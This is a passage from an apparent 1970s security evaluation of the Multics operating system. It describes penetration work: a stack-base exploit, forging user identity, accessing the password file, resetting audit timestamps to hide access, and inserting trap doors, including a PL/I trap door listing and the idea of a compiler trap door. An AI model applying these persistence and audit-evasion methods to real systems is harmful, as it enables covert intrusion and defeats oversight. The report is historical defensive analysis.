During the early design of the Multics operating system, it was felt that the ring 0 code could be simplified if the stack base (sb) register were locked, that is, could only be modified in master mode. The sb contained the segment number of the user stack which was guaranteed to be writeable. If the sb were locked, then the ring 0 fault and interrupt handlers could have convenient areas in which to store stack frames. After Multics had been released to users at MIT, it was realized that locking the stack base unnecessarily constrained language designers. Some languages would be extremely difficult to implement without the capability of quickly and easily switching between stack segments. Therefore, the system was modified to no longer lock the stack base.

When the stack base was unlocked, it was realized that there was code scattered throughout ring 0 which assumed that the sb always pointed to the stack. Therefore, ring 0 was "audited" for all code which depended on the locked stack base. However, the audit was never completed and the few dependencies identified were in general not repaired until much later.

As part of the vulnerability analysis, it was hypothesized that such an audit for unlocked stack base problems was presumably incomplete. The ring 0 code is so large that a subtle dependency on the sb register could

easily slip by an auditor's notice. This, in fact proved to be true as shown below:

Section 3.3.2 showed that the master mode pseudo-operation code believed the value in the lp register and transferred through it. Figure 7 shows that the master mode pseudo-operation code also depends on the sh pointing to a writeable stack segment. When an illegal master mode call is made, the registers are saved on the stack prior to calling "mxerror" to crash the system. This code was designed prior to the unlocking of the stack base and was not detected in the system audit. The malicious user need only set the sp-sh pair to point anywhere to perform an illegal store of the registers with master mode privileges.

The exploitation of the unlocked stack base vulnerability was a two step procedure. The master mode pseudo-operation code stored all the processor registers in an area over 20 words long. This area was far too large for use in a system penetration in which at most one or two words are modified to give the agent the privileges he requires. However, storing a large number of words could be very useful to install a "trap door" in the system -- that is a sequence of code which when properly invoked provides the penetrator with the needed tools to subvert the system. Such a "trap door" must be well hidden to avoid accidental discovery by the system maintenance personnel.

It was noted that the linkage segments of several of the ring 0 master mode procedures were preserved as separate segments rather than being combined in a single linkage segment. Further, these linkage segments were themselves master mode procedures. Thus, segments such as signaller, flm, and emergency_shutdown had corresponding master mode linkage segments signaller.link, flm.link, and emergency_shutdown.link. Linkage segments contain a great deal of information used only by the binder and therefore contain a great deal of extraneous information in ring 0. For this reason, a master mode linkage segment is an ideal place to conceal a "trap door." There is a master mode procedure called emergency_shutdown that is used to place the system in a consistent state in the event of a crash. Since emergency_shutdown is used only at the time of a system crash, its linkage segment, emergency_shutdown.link, was chosen to be used for the "trap door".


The first step of the exploitation of the unlocked stack base is shown in Figure 9. (18) The signaller is entered at location 0 with an invalid index register 0. The stack pointer is set to point to an area of extraneous storage in emergency_shutdown.link. The AQ register contains a two instruction "trap door" which when executed in master mode can load or store any 36-bit word in the system. The index registers could be used to hold a longer "trap door"; however, in this case the xed hpl0, tra hpl2 sequence is sufficient. The base registers, index registers, and AQ register are stored into emergency_shutdown.link, thus laying the "trap door". Finally a transfer is made indirect through lpl12 which has been pre-set as a return pointer. (19)

Step two of the exploitation of the unlocked stack base is shown in Figure 10. The calling program sets the hp register to point to the desired instruction pair and transfers to word zero of the signaller with an invalid value in index register 0. The signaller saves its registers on the user's stack frame since the sp has not been changed. It then transfers indirect through lpl12 which has been set to point to the "trap door" in emergency_shutdown.link. The first instruction of the "trap door" is an execute double (XED) which permits the user (penetration agent) to specify any two arbitrary instructions to be executed in master mode. In this example, the instruction pair loads the 0 register from a word in the stack frame (20) and then stores indirect through a pointer in the stack to an SDI in the descriptor segment. The second instruction in the "trap door" transfers back to the calling program, and the penetrator may go about his business.

(18) Listings of the code used to exploit this vulnerability are found in Appendix B.

(19) This transfer uses the Master Mode Transfer vulnerability to return. This is done primarily for convenience. The fundamental vulnerability is the storing through the sp register. Without the Master Mode Transfer, exploitation of the Unlocked Stack Base would have been more difficult, although far from impossible.

(20) It should be noted that only step one changed the value of the sp. In step two, it is very useful to leave the sp pointing to a valid stack frame.



Setup Conditions

AQ register $:= \text{xed } bp | 0; \text{ tra } bp | 2$
 Index 0 $:= -1$
 sp $:= \text{address (unused storage in emergency_shutdown.link)}$
 lp | 12 $:= \text{address (return location)}$

Figure 9. Unlocked Stack Base (Step 1)




Figure 10. Unlocked Stack Base (Step 2)

The "trap door" inserted in emergency_shutdown.link remained in the system until the system was reinitialized. (21) At initialization time, a fresh copy of all ring zero segments is read in from the system tape erasing the "trap door". Since system initializations occur at least once per day, the penetrator must execute step one before each of his working sessions. Step two is then executed each time he wishes to access or modify some word in the system.

The unlocked stack base vulnerability was identified in June 1972 with the Master Mode Transfer Vulnerability. It was developed and used at the RADC site in September 1972 without a single system crash. In October 1972, the code was transferred to the MIT site. Due to lack of good telecommunications between the two sites, the code was manually retyped into the MIT system. A typing mistake was made that caused the word to be stored into the SDW to always be zero (See Figure 10). When an attempt was made to set slave access-data in the SDW of the descriptor segment itself, (22) the SDW of the descriptor segment was set to zero causing the system to crash at the next LDBR instruction or segment initiation. The bug was recognized and corrected immediately, but later in the day, a second crash occurred when the SDW for the ring zero segment fim (the fault intercept module) was patched to slave access-write permit-data rather than slave access-write permit-slave procedure. In more straightforward terms, the SDW was set to read-write rather than read-write-execute. Therefore, when the system next attempted to execute the fim it took a no-execute permission fault and tried to execute the fim, thus entering an infinite loop crashing the system.

3.3.4 Preview of 6180 Software Vulnerabilities

The 6180 hardware implementation of rings renders invalid the attacks described here on the 645. This is not to say, however, that the 6180 Multics is free of vulnerabilities. A cursory examination of the 6180 software has revealed the existence of several software vulnerabilities, any one of which can be used to access

(21) See Section 3.4.5 for more lasting "trap doors".

(22) The attempt here was to dump the contents of the descriptor segment on the terminal. The user does not normally have read permission to his own descriptor segment.

any information in the system. These vulnerabilities were identified with comparable levels of effort to those shown in Section 3.5.

3.3.4.1 No Call Limiter Vulnerability

The first vulnerability is the No Call Limiter vulnerability. This vulnerability was caused by the call limiter not being set on gate segments, allowing the user to transfer to any instruction within the gate rather than to just an entry transfer vector. This vulnerability gives the penetrator the same capabilities as the Master Mode Transfer vulnerability.

3.3.4.2 SLT-KST Dual SDW Vulnerability

The second vulnerability is the SLT-KST Dual SDW vulnerability. When a user process was created on the 645, separate descriptor segments were created for each ring, with the ring 0 SDW's being copied from the segment loading table (SLT). The ring 0 descriptor segment was essentially a copy of the SLT for ring 0 segments. The ring 4 descriptor segment zeroed out most SDW's for ring 0 segments. Non-ring 0 SDW's were added to both the ring 0 and ring 4 descriptor segments from the Known Segment Table (KST) during segment initiation. Upon conversion to the 6180, the separate descriptor segments for each ring were merged into one descriptor segment containing ring brackets in each SDW <IPC73>. The ring 0 SDW's were still taken from the SLT and the non-ring 0 SDW's from the KST as on the 645.

The system contains several gates from ring 4 into ring 0 of varying levels of privilege. The least privileged gate is called hcs_ and may be used by all users in ring 4. The most privileged gate is called hphcs_ and may only be called by system administration personnel. The gate hphcs_ contains routines to shut the system down, access any segment in the system, and patch ring 0 data bases. If a user attempts to call hphcs_ in the normal fashion, hphcs_ is entered into the KST, an SDW is assigned, and access rights are determined from the access control list stored in hphcs_'s parent directory. Since most users would not be on the access control list of hphcs_, access would be denied. Ring 0 gates, however, also have a second segment number assigned from the segment loading table (SLT). This duplication posed no problem on the 645, since SLT SDW's were valid only in the ring 0 descriptor segment. However on the 6180, the KST SDW for hphcs_ would be null access ring brackets 0,0,5,

but the SLT SDW would read-execute (re) access, ring brackets 0,0,5. Therefore, the penetrator need only transfer to the appropriate absolute segment number rather than using dynamic linking to gain access to any hphcs_ capability. This vulnerability was considerably easier to use than any of the others and was carried through identification, confirmation, and exploitation in less than 5 man-hours total (See Section 3.5).

3.3.4.3 Additional Vulnerabilities

The above mentioned 6180 vulnerabilities have been identified and repaired by Honeywell. The capabilities of the SLT-KST Dual SDW vulnerability were demonstrated to Honeywell on 14 September 1973 in the form of an illegal message to the operator's console at the 6180 site in the Honeywell plant in Phoenix, Arizona. Honeywell did not identify the cause of the vulnerability until March 1974 and installed a fix in Multics System 23.6. As of the time of this publication, additional vulnerabilities have been identified but at this time have not been developed into a demonstration.

3.4 Procedural Vulnerabilities

This section describes the exploitation by a remote user of several classes of procedural vulnerabilities. No attempt was made to penetrate physical security, as there were many admitted vulnerabilities in this area. In particular, the machine room was not secure and communications lines were not encrypted. Rather, this section looks at the areas of auditing, system configuration control, (23) passwords, and "privileged" users.

3.4.1 Dump and Patch Utilities

To provide support to the system maintenance personnel, the Multics system includes commands to dump or patch any word in the entire virtual memory. These

(23) System configuration control is a term derived from Air Force procurement procedures and refers to the control and management of the hardware and software being used in a system with particular attention to the software update tasks. It is not to be confused with the Multics dynamic reconfiguration capability which permits the system to add and delete processors and memories while the system is running.

utilities are used to make online repairs while the system continues to run. Clearly these commands are very dangerous, since they can bypass all security controls to access otherwise protected information, and if misused, can cause the system to crash by garbling critical data bases. To protect the system, these commands are implemented by special privileged gates into ring zero. The access control lists on these gates restrict their use to system maintenance personnel by name as authenticated by the login procedure. Thus an ordinary user nominally cannot access these utilities. To further protect the system, the patch utility records on the system operator's console every patch that is made. Thus, if an unexpected or unauthorized patch is made, the system operator can take immediate action by shutting the system down if necessary.

Clearly dump and patch utilities would be of great use to a system penetrator, since they can be used to facilitate his job. Procedural controls on the system dump and patch routines prevent the penetrator from using them by the ACL restrictions and the audit trail. However by using the software vulnerabilities described in section 3.3, these procedural controls may be bypassed and the penetration agent can implement his own dump and patch utilities as described below.

Dump and patch utilities were implemented on Multics using the Unlocked Stack Base and Insufficient Argument Validation vulnerabilities. These two vulnerabilities demonstrated two basically different strategies for accessing protected segments. These two strategies developed from the fact that the Unlocked Stack Base vulnerability operates in ring 4 master mode, while the Insufficient Argument Validation vulnerability operates in ring 0 slave mode. In addition, there was a requirement that a minimal amount of time be spent with the processor in an anomalous state - ring 4 master mode or ring 0 illegal code. When the processor is in an anomalous state, unexpected interrupts or events could cause the penetrator to be exposed in a system crash.

3.4.1.1 Use of Insufficient Argument Validation

As was mentioned above, the IIS 645 implementation of Multics simulates protection rings by providing one descriptor segment for each ring. Patch and dump utilities can be implemented using the Insufficient Argument Validation vulnerability by realizing that the ring zero descriptor segment will have entries for

segments which are not accessible from ring 4. Conceptually, one could copy an SDW for some segment from the ring 0 descriptor segment to the ring 4 descriptor segment and be guaranteed at least as much access as available in ring 0. Since the segment number of a segment is the same in all rings, this approach is very easy to implement.

The exact algorithm is shown in flow chart form in Figure 11. In block 2 of the flow chart, the ring 4 SDW is read from the ring 4 descriptor segment (wdseg) using the Insufficient Argument Validation vulnerability. Next the ring 0 SDW is read from the ring 0 descriptor segment (dseg). The ring 0 SDW must now be checked for validity, since the segment may not be accessible even in ring 0. (24) An invalid SDW is represented by all 36 bits being zero. One danger present here is that if the segment in question is deactivated, (25) the SDW being checked may be invalidated while it is being manipulated. This event could conceivably have disastrous results, but as we shall see in Section 3.4.2, the patch routine need only be used on segments which are never deactivated. The dump routine can do no harm if it accidentally uses an invalid SDW, as it always only reads using the SDW, conceivably reading garbage but nothing else. Further, deactivation of the segment is highly unlikely since the segment is in "use" by the dump/patch routine.

If the ring 0 SDW is invalid, an error code is returned in block 5 of the flow chart and the routine terminates. Otherwise, the ring 0 SDW is stored into the ring 4 descriptor segment (wdseg) with read-execute-write access by turning on the SDW bits for slave access, write permission, slave procedure. (See Figure 2). Now the dump or patch can be performed without using the vulnerability to load or store each 36 bit word

(24) As an additional precaution, ring 0 slave mode programs run under the same access rules as all other programs. A valid SDW entry is made for a segment in any ring only if the user is on the ACL for the segment. We shall see in Section 3.4.2 how to get around this "security feature".

(25) A segment is deactivated when its page table is removed from core. Segment deactivation is performed on a least recently used basis, since not all page tables may be kept in core at one time.




Figure 11. DUMP/PATCH UTILITY USING INSUFFICIENT ARGUMENT VALIDATION

being moved. Finally in block 8, the ring 4 SDW is restored to its original value, so that a later unrelated system crash could not reveal the modified SDW in a dump. It should be noted that while blocks 2, 3, 6, and 8 all use the vulnerability, the bulk of the time is spent in block 7 actually performing the dump or patch in perfectly normal ring 4 slave mode code.

3.4.1.2 Use of Unlocked Stack Base

The Unlocked Stack Base vulnerability operates in a very different environment from the Insufficient Argument Validation vulnerability. Rather than running in ring 0, the Unlocked Stack Base vulnerability runs in ring 4 in master mode. In the ring 0 descriptor segment, the segment dseg is the ring 0 descriptor segment and wdses is the ring 4 descriptor segment. (26) However, in the ring 4 descriptor segment, the segment dseg is the ring 4 descriptor segment and wdses has a zeroed SDW. Therefore, a slightly different strategy must be used to implement dump and patch utilities as shown in the flow chart in Figure 12. (27) The primary difference here is in blocks 3 and 5 of Figure 12 in which the ring 4 SDW for the segment is used rather than the ring 0 SDW. Thus the number of segments which can be dumped or patched is reduced from those accessible in ring 0 to those accessible in ring 4 master mode. We shall see in Section 3.4.2 that this reduction is not crucial, since ring 4 master mode has sufficient access to provide "interesting" segments to dump or patch.

3.4.1.3 Generation of New SDW's

Two strategies for implementation of dump and patch utilities were shown above. In addition, a third strategy exists which was rejected due to its inherent dangers. In this third strategy, the penetrator selects an unused segment number and constructs an SDW occupying that segment number in the ring 4 descriptor

(26) Actually wdses is the descriptor segment for whichever ring (1-7) was active at the time of the entry to ring 0. No conflict occurs since wdses is always the descriptor segment for the ring on behalf of which ring 0 is operating.

(27) This strategy is also used with the Execute Instruction Access Check Bypass vulnerability which runs in ring 4.




Figure 12. DUMP/PATCH UTILITY USING UNLOCKED STACK BASE

segment using any of the vulnerabilities. This totally new SDW could then be used to access some part of the Multics hierarchy. However, two major problems are associated with this strategy which caused its rejection. First the absolute core address of the page table of the segment must be stored in the SDW address field. There is no easy way for a penetrator to obtain the absolute address of the page table for a segment not already in his descriptor segment short of duplicating the entire segment fault mechanism which runs to many hundreds or thousands of lines of code. Second, if the processor took a segment or page fault on this new SDW, the ring 0 software would malfunction, because the segment would not be recorded in the Known Segment Table (KST). This malfunction could easily lead to a system crash and the disclosure of the penetrator's activities. Therefore, the strategy of generating new SDW's was rejected.

3.4.2 Forging the Non-Forgeable User Identification

In Section 2.2.3 the need for a protected, non-forgeable identification of every user was identified. This non-forgeable ID must be compared with access control list entries to determine whether a user may access some segment. This identification is established when the user logs into Multics and is authenticated by the user password. (28) If this user identification can be forged in any way, then the entire login audit mechanism can be rendered worthless.

The user identification in Multics is stored in a per-process segment called the process data segment (PDS). The PDS resides in ring 0 and contains many constants used in ring 0 and the ring 0 procedure stack. The user identification is stored in the PDS as a character string representing the user's name and a character string representing the user's project. The PDS must be accessible to any ring 0 procedure within a user's process and must be accessible to ring 4 master mode procedures (such as the signaller). Therefore, as shown in Sections 3.4.1.1 and 3.4.1.2, the dump and patch utilities can dump and patch portions of the PDS, thus forging the non-forgeable user identification. Appendix C shows the actual user commands needed to forge the user

(28) Clearly more sophisticated authentication schemes than a single user chosen password could be used on Multics (see Richardson <RIC73>). However, such schemes are outside the scope of this paper.

Identification.

This capability provides the penetrator with an "ultimate weapon". The agent can now undetectably masquerade as any user of the system including the system administrator or security officer, immediately assuming that user's access privileges. The agent has bypassed and rendered ineffective the entire login authentication mechanism with all its attendant auditing machinery. The user whom the agent is impersonating can login and operate without interference. Even the "who table" that lists all users currently logged into the system records the agent with his correct identification rather than the forgery. Thus to access any segment in the system, the agent need only determine who has access and change his user identification as easily as a legitimate user can change his working directory.

It was not obvious at the time of the analysis that changing the user identification would work. Several potential problems were foreseen that could lead to system crashes or could reveal the penetrator's presence. However, none of these proved to be a serious barrier to masquerading.

First, a user process occasionally sends a message to the operator's console from ring 0 to report some type of unusual fault such as a disk parity error. These messages are prefaced by the user's name and project taken from the PDS. It was feared that a random parity error could "blow the cover" of the penetrator by printing his modified identification on the operator's console. (29) However, the PDS in fact contains two copies of the user identification - one formatted for printing and one formatted for comparison with access control list entries. Ring 0 software keeps these strictly separated, so the penetrator need only change the access control identification.

Second, when the penetrator changes his user identification, he may lose access to his own programs, data and directories. The solution here is to assure that the access control lists of the needed segments and directories grant appropriate access to the user as whom the penetrator is masquerading.

(29) This danger exists only if the operator or system security officer is carefully correlating parity error messages with the names of currently logged in users.

Finally, one finds that although the penetrator can set the access control lists of his ring 4 segments appropriately, he cannot in any easy way modify the access control lists of certain per process supervisor segments including the process data segment (PDS), the process initialization table (PIT), the known segment table (KST), and the stack and combined linkage segments for ring 1, 2, and 3. The stack and combined linkage segments for ring 1, 2, and 3 can be avoided by not calling any ring 1, 2, or 3 programs while masquerading. However, the PDS, PIT, and KST are all ring 0 data bases that must be accessible at all times with read and write permission. This requirement could pose the penetrator a very serious problem; but, because of the very fact that these segments must always be accessible in ring 0, the system has already solved this problem. While the PIT, PDS, and KST are paged segments, (30) they are all used during segment fault handling. In order to avoid recursive segment faults, the PIT, PDS, and KST are never deactivated. (31) Deactivation, as mentioned above, is the process by which a segment's page table is removed from core and a segment fault is placed in its SDW. The access control bits are set in an SDW only at segment fault time. (32) Since the system never deactivates the PIT, PDS, and KST, under normal conditions, the SDW's are not modified for the life of the process. Since the process of changing user identification does not change the ring 0 SDW's of the PIT, PDS, and KST either, the penetrator retains access to these critical segments without any special action whatsoever.

(30) In fact the first page of the PDS is wired down so that it may be used by page control. The rest of the PDS, however, is not wired.

(31) In Multics jargon, their "entry hold switches" are set.

(32) In fact, a segment fault is also set in an SDW when the access control list of the corresponding segment is changed. This is done to ensure that access changes are reflected immediately, and is effected by setting faults in all descriptor segments that have active SDW's for the segment. This additional case is not a problem, because the access control lists of the PIT, PDS, and KST are never changed.

3.4.3 Accessing the Password File

One of the classic penetrations of an operating system has been unauthorized access to the password file. This type of attack on a system has become so embedded in the folklore of computer security that it even appears in the definition of a security "breach" in DOD 5200.28-14 <DOD73>. In fact, however, accessing the password file internal to the system proves to be of minimal value to a penetrator as shown below. For completeness, the Multics password file was accessed as part of this analysis.

3.4.3.1 Minimal Value of the Password File

It is asserted that accessing the system password file is of minimal value to a penetrator for several reasons. First, the password file is generally the most highly protected file in a computer system. If the penetrator has succeeded in breaking down the internal controls to access the password file, he can almost undoubtedly access every other file in the system. Why bother with the password file?

Second, the password file is often kept enciphered. A great deal of effort may be required to invert such a cipher, if indeed the cipher is invertible at all.

Finally, the login path to a system is generally the most carefully audited to attempt to catch unauthorized password use. The penetrator greatly risks detection if he uses an unauthorized password. It should be noted that an unauthorized password obtained outside the system may be very useful to a penetrator, if he does not already have access to the system. However, that is an issue of physical security which is outside the scope of this paper.

3.4.3.2 The Multics Password File

The Multics password file is stored in a segment called the person name table (PNT). The PNT contains an entry for each user on the system including that user's password and various pieces of auditing information. Passwords are chosen by the user and may be changed at any time. (33) Passwords are scrambled by an

(33) There is a major problem that user chosen passwords

allegedly non-invertible enciphering routine for protection in case the PNT appears in a system dump. Only enciphered passwords are stored in the system. The password check at login time is accomplished by the equivalent of the following PL/I code:

```
if scramble_(typed_password) = pnt.user.password
then call ok_to_login;
else call reject_login;
```

For the rest of this section, it will be assumed that the enciphering routine is non-invertible. In a separate volume (DOW74), Downey demonstrates the invertibility of the Multics password scrambler used at the time of the vulnerability analysis. (34)

The PNT is a ring 4 segment with the following access control list:

```
rw    *.SysAdmin.*
null  *.*.*
```

Thus by modifying one's user identification to the SysAdmin project as in Section 3.4.2, one can immediately gain unrestricted access to the PNT. Since the passwords are enciphered, they cannot be read out of the PNT directly. However, the penetrator can extract a copy of the PNT for cryptanalysis. The penetrator can also change a user's password to the enciphered version of a known password. Of course, this action would lead to almost immediate discovery, since the user would no longer be able to login.

3.4.4 Modifying Audit Trails

Audit trails are frequently put into computer systems for the purpose of detecting breaches of security. For example, a record of last login time printed when a user logged in could detect the unauthorized use of a user's password and identification. However, we have seen that a penetrator using vulnerabilities in the operating

are often easy to guess. That problem, however, will not be addressed here. Multics provides a random password generator, but its use is not mandatory.

(34) FSD/MCI has provided a "better" password scrambler that is now used in Multics, since enciphering the password file is useful in case it should appear in a system dump.



system code can access information and bypass many such audits. Sometimes it is not convenient for the penetrator to bypass an audit. If the audit trail is kept online, it may be much easier to allow the audit to take place and then go back and modify the audit trail to remove or modify the evidence of wrong doing. One simple example of modification of audit trails was selected for this vulnerability demonstration.

Every segment in Multics carries with it audit information on the date time last used (DTU) and date time last modified (DTM). These dates are maintained by an audit mechanism at a very low level in the system, and it is almost impossible for a penetrator to bypass this mechanism. (35) An obvious approach would be to attempt to patch the DTU and DTM that are stored in the parent directory of the segment in question. However, directories are implemented as rather complex hash tables and are therefore very difficult to patch.

Once again, however, a solution exists within the system. A routine called `set_dates` is provided among the various subroutine calls into ring 0 which is used when a segment is retrieved from a backup tape to set the segment's DTU and DTM to the values at the time the segment was backed up. The routine is supposed to be callable only from a highly privileged gate into ring 0 that is restricted to system maintenance personnel. However, since a penetrator can change his user identification, this restriction proves to be no barrier. To access a segment without updating DTU or DTM:

1. Change user ID to access segment.
2. Remember old DTU and DTM.
3. Use or modify the segment.
4. Change user ID to system maintenance.
5. Reset DTU and DTM to old values.
6. Change user ID back to original.

In fact due to yet another system bug, the procedure is even easier. The module `set_dates` is callable, not only from the highly privileged gate into ring 0, but also from the normal user gate into ring 0. (36) Therefore, step 4

(35) Section 3.4.5 shows a motivation to bypass DTU and DTM.

(36) The user gate into ring 0 contains `set_dates`, so that users may perform reloads from private backup tapes.

in the above algorithm can be omitted if desired. A listing of the utility that changes DTU and DTM may be found in Appendix F.

It should be noted that one complication exists in step 5 - resetting DTU and DTM. The system does not update the dates in the directory entry immediately, but primarily at segment deactivation time. (37) Therefore, step 5 must be delayed until the segment has been deactivated - a delay of up to several minutes. Otherwise the penetrator could reset the dates, only to have them updated again a moment later.

3.4.5 Trap Door Insertion

Up to this point, we have seen how a penetrator can exploit existing weaknesses in the security controls of an operating system to gain unauthorized access to protected information. However, when the penetrator exploits existing weaknesses, he runs the constant risk that the system maintenance personnel will find and correct the weakness he happens to be using. The penetrator would then have to begin again looking for weaknesses. To avoid such a problem and to perpetuate access into the system, the penetrator can install "trap doors" in the system which permit him access, but are virtually undetectable.

3.4.5.1 Classes of Trap Doors

Trap doors come in many forms and can be inserted in many places throughout the operational life of a system from the time of design up to the time the system is replaced. Trap doors may be inserted at the facility at which the system is produced. Clearly if one of the system programmers is an agent, he can insert a trap door in the code he writes. However, if the production site is a (perhaps on-line) facility to which the penetrator can gain access, the penetrator can exploit existing vulnerabilities to insert trap doors into system software while the programmer is still working on it or while it is in quality assurance.

As a practical example, it should be noted that the software for WIMCDS is currently developed using uncleared personnel on a relatively open time sharing system at Honeywell's plant in Phoenix, Arizona.

(37) Dates may be updated at other times as well.

The software is monitored and distributed from an open time sharing system at the Joint Technical Support Agency (JTSA) at Reston, Virginia. Both of these sites are potentially vulnerable to penetration and trap door insertion.

Trap doors can be inserted during the distribution phase. If updates are sent via insecure communications - either US Mail or insecure telecommunications, the penetrator can intercept the update and subtly modify it. The penetrator could also generate his own updates and distribute them using forged stationery.

Finally, trap doors can be inserted during the installation and operation of the system at the user's site. Here again, the penetrator uses existing vulnerabilities to gain access to stored copies of the system and make subtle modifications.

Clearly when a trap door is inserted, it must be well hidden to avoid detection by system maintenance personnel. Trap doors can best be hidden in changes to the binary code of a compiled routine. Such a change is completely invisible on system listings and can be detected only by comparing bit by bit the object code and the compiler listing. However, object code trap doors are vulnerable to recompilations of the module in question.

Therefore the system maintenance personnel could regularly recompile all modules of the system to eliminate object code trap doors. However, this precaution could play directly into the hands of the penetrator who has also made changes in the source code of the system. Source code changes are more visible than object code changes, since they appear in system listings. However, subtle changes can be made in relatively complex algorithms that will escape all but the closest scrutiny. Of course, the penetrator must be sure to change all extant copies of a module to avoid discovery by a simple comparison program.

Two classes of trap doors which are themselves source or object trap doors are particularly insidious and merit discussion here. These are the teletype key string trigger trap door and the compiler trap door.

It has often been hypothesized that a carefully written closed subsystem such as a query system or limited data management system without programming capabilities may be made invulnerable to security penetration. The teletype key string trigger is just one example of a trap door that provides the penetrator with a vulnerability in even the most limited subsystem. To create such a trap door, the agent modifies the supervisor teletype modules at the development site such that if the user types normally, no anomaly occurs, but if the user types a special key string, a dump/patch utility is triggered into operation to allow the penetrator unlimited access. The key string would of course have to be some very unlikely combination to avoid accidental discovery. The teletype key string trap door is somewhat more complex than the trap door described below in Section 3.4.5.2. However, it is quite straightforward to develop and insert with relatively nominal effort.

It was noted above that while object code trap doors are invisible, they are vulnerable to recompilations. The compiler (or assembler) trap door is inserted to permit object code trap doors to survive even a complete recompilation of the entire system. In Multics, most of the ring 0 supervisor is written in PL/I. A penetrator could insert a trap door in the PL/I compiler to note when it is compiling a ring 0 module. Then the compiler would insert an object code trap door in the ring 0 module without listing the code in the listing. Since the PL/I compiler is itself written in PL/I, the trap door can maintain itself, even when the compiler is recompiled. (38) Compiler trap doors are significantly more complex than the other trap doors described here, because they require a detailed knowledge of the compiler design. However, they are quite practical to implement at a cost of perhaps five times the level shown in Section 3.5. It should be noted that even costs several hundred times larger than those shown here would be considered nominal to a foreign agent.

There is also a variant on the compiler trap door called the initialization trap door. Here, the system initialization code is modified by the penetrator to insert other trap doors as the system is brought up. Such trap doors can be relatively invulnerable to

(38) This type of trap door does not require a higher level language. Entirely analogous trap doors could be placed in an assembler.

detection and recompilation, because system initialization is usually a very complex and poorly understood procedure.

3.4.5.2 Example of a Trap Door in Multics

To demonstrate the feasibility of inserting and distributing trap doors, the following object code change was made to `check$device_name` to provide a generalized dump or patch facility. Figure 13 shows a PL/I program that performs essentially the same function as the trap door actually inserted in the object code. The listing of the actual trap door and its calling program is in Appendix C. `check$device_name` is normally called with three arguments, the third being a fixed binary error code. The trap door is inserted at the point at which `check$device_name` would have returned. The trap door looks at the 72 bits immediately following the error code that was passed by the caller. If those 72 bits match a predefined 72 bit password, then the fixed binary word to which `ptr1` points is copied into the fixed binary word to which `ptr2` points. Since `check$device_name` is a ring 0 procedure, this copy is carried out using the ring 0 descriptor segment and allows the caller to read or write any word in ring 0. Dump and patch utilities can use this trap door exactly like the Insufficient Argument Validation vulnerability. The 72 bit key is used to ensure that the vulnerability is not invoked by accident by some unsuspecting user.

The actual insertion of the trap door was done by the following steps:

1. Change user identification to project SysLib.
2. Make patch in object archive copy of `check$device_name` in >ldd>hard>object.
3. Reset DTM on object archive.
4. Make patch in bound archive copy of `check$device_name` in >ldd>hard>bound_components.
5. Reset DTM on bound archive.
6. Reset user identification.

This procedure ensured that the object patch was in all library copies of the segment. The DTM was reset as in Section 3.4.4, because the dates on library segments are

```

check$device_name: procedure (a, b, code);
declare  1 code parameter,
          2 err_code fixed binary (35),
          2 key bit (72) aligned,
          2 ptr1 pointer aligned,
          2 ptr2 pointer aligned;

declare overlay fixed binary (35) based;

/* Start of regular code */
    ...;
/* Here check$device_name would normally return */

    if key = bit_string_constant_password
        then ptr2 -> overlay = ptr1 -> overlay;

    return;
end check$device_name;

```

Figure 13. Trapdoor in check\$device_name

checked regularly for unauthorized modification. These operations did not immediately install the trap door. Actual installation occurred at the time of the next system tape generation.

A trap door of this type was first placed in the Multics system at MIT in the procedure `del_dir_tree`. However, it was noted that `del_dir_tree` was going to be modified and recompiled in the installation of Multics system 18.0. Therefore, the trap door described above was inserted in `check$device_name` just before the installation of 18.0 to avoid the recompilation problem. Honeywell was briefed in the spring of 1973 on the results of this vulnerability analysis. At that time, Honeywell recompiled `check$device_name`, so that the trap door would not be distributed to other sites.

3.4.6 Preview of 6180 Procedural Vulnerabilities

To actually demonstrate the feasibility of trap door distribution, a change which could have included a trap door was inserted in the Multics software that was transferred from the 645 to the 6180 at MIT and from there to all 6180 installations in the field.

3.5 Manpower and Computer Costs

Table III outlines the approximate costs in man-hours and computer charges for each vulnerability analysis task. The skill level required to perform the penetrations was that of a recent computer science graduate of any major university with a moderate knowledge of the Multics design documented in the Multics Programmers' Manual (NPM73) and Organick (ORG72), plus nine months experience as a Multics programmer. In addition, the penetrator was aided by access to the system listings (which are in the public domain) and access to an operational Multics system on which to debug penetrations. In this example, the RADC system was used to test penetrations prior to their use at MIT, since a system crash at MIT would reveal the intentions of the penetrations. (39)

Costs are broken down into identification, confirmation, and exploitation. Identification is that

(39) It should be noted that while the MIT system was crashed twice due to typographical errors during the penetration, the RADC system was never crashed.

part of the effort needed to identify a particular vulnerability. It generally involves examination of system listings, although it sometimes involves computer work. Confirmation is that effort needed to confirm the existence of a vulnerability by using it in some manner, however crude, to access information without authorization. Exploitation is that effort needed to develop and debug command procedures to make use of the vulnerabilities convenient. Wherever possible, these command procedures follow standard Multics command conventions.

All figures in the table are conservative estimates as actual accounting information was not kept during the vulnerability analysis. However, costs did not exceed the figures given and in all probability were somewhat lower.

The costs of implementing the subverter and inverting the password scrambler are not included, because those tasks were not directly related to penetrating the system (See Downey <DOW74>). The Master Mode Transfer vulnerability has no exploitation cost shown, because that vulnerability was not carried beyond confirmation.

TABLE 3

Cost Estimates

Task	<u>Identification</u>		<u>Confirmation</u>		<u>Exploitation</u>		<u>Total</u>	
	Manhrs	CPU \$	Manhrs	CPU \$	Manhrs	CPU \$	Manhrs	CPU \$
Execute Instruction Access Check Bypass	60	\$150	5	\$ 30	8	\$100	73	\$280
Insufficient Argument Validation	1	\$ 0	5	\$ 30	24	\$300	30	\$330
Master Mode Transfer	0.5	\$ 0	2	\$ 20	--	---	2.5	\$ 20
Unlocked Stack Base	0.5	\$ 0	8	\$ 50	80	\$500	88.5	\$550
Forging User ID	5	\$ 0	5	\$ 30	5	\$ 90	15	\$120
check\$device_name Trap door	5	\$ 0	8	\$ 50	5	\$ 30	18	\$ 80
Access Password File 1 (Does not include deciphering.)	1	\$ 0	5	\$ 30	24	\$150	30	\$180
Total	73	\$150	38	\$240	146	\$1170	257	\$1560

SECTION IV

CONCLUSIONS

The initial implementation of Multics is an instance of an uncertified system. For any uncertified system:

a. The system cannot be depended upon to protect against deliberate attack.

b. System "fixes" or restrictions (e.g., query only systems) cannot provide any significant improvement in protection. Trap door insertion and distribution has been demonstrated with minimal effort and fewer tools (no phone taps) than any industrious foreign agent would have.

However, Multics is significantly better than other conventional systems due to the structuring of the supervisor and the use of segmentation and ring hardware. Thus, unlike other systems, Multics can form a base for the development of a truly secure system.

4.1 Multics is not Now Secure

